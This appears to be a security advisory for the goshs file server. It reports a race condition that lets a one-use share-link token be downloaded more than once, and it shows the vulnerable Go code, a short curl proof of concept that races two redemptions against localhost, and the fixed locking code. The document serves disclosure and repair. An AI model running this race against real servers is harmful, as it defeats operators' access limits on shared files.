goshs: Share-link ?token=… redemption races past download limit

 1fs.sharedLinksMu.RLock()
 2entry, ok := fs.SharedLinks[token]
 3fs.sharedLinksMu.RUnlock()                       // <-- released here
 4 
 5if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
 6    // ...serve file...                          // <-- whole transfer happens unlocked
 7}
 8 
 9fs.sharedLinksMu.Lock()                          // <-- re-acquired only now
10current.Downloaded++
11if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
12fs.sharedLinksMu.Unlock()

 1goshs -p 18000 -d /tmp/r -b admin:pw &
 2echo data > /tmp/r/f.txt
 3 
 4# operator issues a one-shot share
 5SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
 6TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')
 7 
 8# attacker races two redemptions
 9curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
10curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
11wait
12# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

 1fs.sharedLinksMu.Lock()
 2entry, ok := fs.SharedLinks[token]
 3if !ok || time.Now().After(entry.Expires) ||
 4   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
 5    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
 6}
 7entry.Downloaded++
 8if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
 9    delete(fs.SharedLinks, token)
10} else {
11    fs.SharedLinks[token] = entry
12}
13fs.sharedLinksMu.Unlock()
14// ...serve...